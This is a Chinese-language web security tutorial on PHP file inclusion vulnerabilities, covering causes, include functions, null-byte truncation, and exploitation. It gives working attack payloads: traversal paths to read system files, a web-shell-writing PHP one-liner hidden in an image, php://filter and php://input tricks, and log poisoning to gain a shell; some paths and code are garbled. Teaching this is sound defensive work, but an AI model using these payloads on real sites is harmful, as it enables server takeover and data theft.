1、原理及危害
可在网页中直接对文件包含的动态变量进行传参数进行上传文件或者一句话木马。实现动态包含的参数,Web 应用没有进行严格的净化,客户端可以影响或控制文件包含的路径,就会产生文件包含漏洞。
PHP 提供的文件包含功能非常强大,有以下特点
无视文件扩展名读取文件(以二进制方式读取文件)
包含文件时,PHP会读取文件的源码,包括图片文件。尝试包含图片
[http://localhost/include/include_once.php?path=simle.jpg]
我们会发现打开图片不是图像而是图片的源码
无条件解析PHP代码
文件包含在读取文件源码的同时,如果遇到符合PHP语法规范的代码,就会无条件执行。例如将info.php的后缀名改成info.rar,依然能够显示phpinfo()的信息。
与此同时,也为图片木马提供了一种利用的方法
2、漏洞产生原因
1、Web 应用实现了动态包含
2、动态包含的文件路径参数,客户端可控
程序开发人员都希望代码更加灵活,所以通常会把被包含的文件设置为变量,来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞
几乎所有的脚本语言都会提供文件包含功能。文件包含漏洞在PHP Web Application 中居多,在JSP/ASP/ASP.net程序中比较少。本文以PHP 为例,说明文件包含漏洞
3、PHP中的文件包含
PHP 中提供了四个文件包含的函数,四个函数之间略有区别
函数 | 区别 |
---|---|
include() | 文件包含失败,会产生警告,脚本会继续执行 |
include_once() | 与include() 功能相同,文件只会被包含一次 |
require() | 文件包含失败是,会产生错误,直接结束脚本执行 |
require_once() | 与require() 功能相同 ,文件只会被包含一次 |
文件包含是PHP 的基本功能之一,有本地文件包含和远程文件包含之分(虽然PHP 官网上不是这么解释的)。简单来说,本地文件包含就是可以读取和打开本地文件,远程文件包含(HTTP,FTP,PHP 伪协议)就是可以远程加载文件。我们可以通过php.ini 配置文件来进行配置。
本地文件包含(LFI) allow_url_fopen=On/Off
远程文件包含(RFI) allow_url_include=On/Off
文件包含代码示例
<?php $path=$_GET['path']; include_once("./inc.php"); echo "<h1>This is inlcude_once.php!</h1>"; include_once $path; ?>
4、空字符绕过
空字符安全限制绕过,是PHP 小于5.3.4 版本的一个漏洞,CVE编号是CVE-2006-7243.这个漏洞就是PHP 接收来自于路径名中的空(NULL)字符,这可能允许依赖于上下文的攻击者通过在此字符后放置安全文件扩展名来绕过预期的访问限制,这就是我们之前讲过的00 截断。00 截断攻击也会体现在文件包含中。
注意:要想本实验成功需要关闭魔术引号
magic_quotes_gpc=Off
Web 应用在设计的时候,经常会包含模版文件,简单程序如下
<?php if(isset($_GET['path'])){ include $_GET['path'].".html"; }else{ echo "?path=[path]"; } ?>
这个简单的代码限制了被包含的文件的后缀名是html
http://localhost/include/00/?path=info
此处我们通过00 截断来包含任意文件,比如同级目录下的inc.php 文件。提交变量
http:localhost/incldue/00/?path=info.php%00
5、文件包含漏洞的利用
文件包含漏洞的利用(实验)均在文件包含代码示例的前提下操作
文件包含代码示例
<?php $path=$GET_['path']; include_once("./inc.php"); echo "<h1>This is inlcude_once.php!</h1>"; include_once $path; ?>
1、读取敏感文件
我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件
在文件包含代码示例的前提下操作
目标主机存在(目标文件的路径,绝对路径,相对路径)
具有文件可读权限
提交参数,读取本地host 文件
?path=c:windowsSystem32driversetchosts
?path=............windowsSystem32driversetchosts
2、直接包含图片木马
在文件包含代码示例的前提下操作
可以利用文件包含漏洞直接包含图片木马
在图片详细信息中插入一句话木马
?path=h.png
使用菜刀或蚁剑连接
3、包含木马写shell
我们可以将如下代码写入图片中
<?php fputs(fopen('shell.php','w'),"<?php @eval($_REQUEST['cmd']);?>");?>
该段代码的含义是,在当前目录下创建一个名为[shell.php] 的文件,内容为<?php phpinfo();?>,当我们直接包含图片的时候,这段代码就会被执行了。
4、PHP 封装协议
需要开启allow_url_include选项
访问本地文件
我们可以使用php的file协议访问本地系统文件,提交参数
?path=file://c:windowsSystem32driversetchosts
思路
可以利用Burpsuite 测试器模块
加上字典测试出报错日志的路径
通过修改HTTP头部,利用报错日志注入一句话木马
传输PHP 文件 不会留下后门
可以使用以下参数来传送任意PHP 文件
?path=php://filter/read=convert.base64-encode/resource=./inc.php
将从inc.php中获取到的字符串进行base64解码即可
/index.php/?page=php://filter/read=convert.base64-encode/resource=index.php
可以获取网站的源码
执行PHP 命令 不会留下后门
我们还可以利用PHP 的封装协议来执行PHP 命令
BurpSuite抓包
?path=php://input
在HTTP头部请求体部分添加php代码
应用
1、已知一个网站存在本地文件包含漏洞,没有我呢间上传API,如何利用?
思路
包含本地日志文件getshell
日志文件的路径-->常识、爆破
日志文件的路径-->可以利用Burpsuite 测试器模块-->加上字典测试出报错日志的路径
通过修改HTTP头部,利用报错日志注入一句话木马
http://172.16.13.18/phpwj/wj.php?path=D:phpStudyApachelogserror.log
2、包含session 文件,造成sessionId 泄露
知道sessionID文件的路径
!metinfov5.0.4 文件包含漏洞代码审计